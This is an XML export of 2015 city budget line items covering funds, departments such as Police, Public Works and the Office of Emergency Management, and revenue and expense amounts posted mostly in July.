<row _id="17374"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="17375"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>408320.0</object><object_description>LANDSCAPE &amp; IRRIG PLAN CHECK R</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-40720</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-40720</total></row>
<row _id="17376"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>533230.0</object><object_description>SECURITY SYSTEMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17377"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="17378"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>165000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>165000</total></row>
<row _id="17379"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>405875.0</object><object_description>HOMEWORK CLUB</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-60000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-60000</total></row>
<row _id="17380"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>38984</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38984</total></row>
<row _id="17381"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="17382"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>403765.0</object><object_description>DOWNTOWN SHUTTLE PROGRAM</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-69224</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-69224</total></row>
<row _id="17383"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401134.0</object><object_description>VOLLEYBALL LEAGUES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-8300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-8300</total></row>
<row _id="17384"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401380.0</object><object_description>POUND FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-23805</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-23805</total></row>
<row _id="17385"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5500</total></row>
<row _id="17386"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>566990.0</object><object_description>CRIME PREVENTION</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>40376</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>40376</total></row>
<row _id="17387"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>406856.0</object><object_description>OTS STEP GRANT 2014</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-297560</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-297560</total></row>
<row _id="17388"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17389"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-3600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3600</total></row>
<row _id="17390"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="17391"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>406547.0</object><object_description>USED OIL PAY PROG OPP5</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17392"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17393"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>407490.0</object><object_description>PLAN CHECK FEES-LANDSCAPE&amp;FORE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-133900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-133900</total></row>
<row _id="17394"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409003.0</object><object_description>CHILDCARE-NOVEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-34717</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-34717</total></row>
<row _id="17395"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="17396"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>577260.0</object><object_description>SENIOR HOUSING VOUCHER PRG</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>350000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>350000</total></row>
<row _id="17397"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405370.0</object><object_description>DISCOUNT ON PERS PREPAYMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-1597853</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1597853</total></row>
<row _id="17398"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408360.0</object><object_description>SUCCESSOR AGENCY ADMIN</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-675000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-675000</total></row>
<row _id="17399"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544040.0</object><object_description>BOOKS/PAMPHLETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="17400"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404178.0</object><object_description>RESIDUAL RECEIPTS-HOUSING</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50000</total></row>
<row _id="17401"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>403921.0</object><object_description>TEA 21 CAL INCLINE CONSTRUCTIO</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-2800000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2800000</total></row>
<row _id="17402"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object xsi:nil="true" /><object_description>AMORT/ACCRET</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17403"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400290.0</object><object_description>PREF PARKING PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-1177000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1177000</total></row>
<row _id="17404"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1000</total></row>
<row _id="17405"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17406"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408470.0</object><object_description>PEDICAB OPERATOR PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-1210</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1210</total></row>
<row _id="17407"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>556240.0</object><object_description>SCE OBF LOAN</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17408"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578311.0</object><object_description>FIRE REIMBURSEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>77826</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>77826</total></row>
<row _id="17409"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2872</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2872</total></row>
<row _id="17410"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>581</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>581</total></row>
<row _id="17411"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12521</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12521</total></row>
<row _id="17412"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>422464</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>422464</total></row>
<row _id="17413"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>54100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>54100</total></row>
<row _id="17414"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>30544</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30544</total></row>
<row _id="17415"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>105</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>105</total></row>
<row _id="17416"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4480</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4480</total></row>
<row _id="17417"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17418"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11069</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11069</total></row>
<row _id="17419"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11000</total></row>
<row _id="17420"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409073.0</object><object_description>ROSIE'S GIRLS-SUMMER II</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-24215</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-24215</total></row>
<row _id="17421"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555510.0</object><object_description>1450 OCEAN</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="17422"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555510.0</object><object_description>1450 OCEAN</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
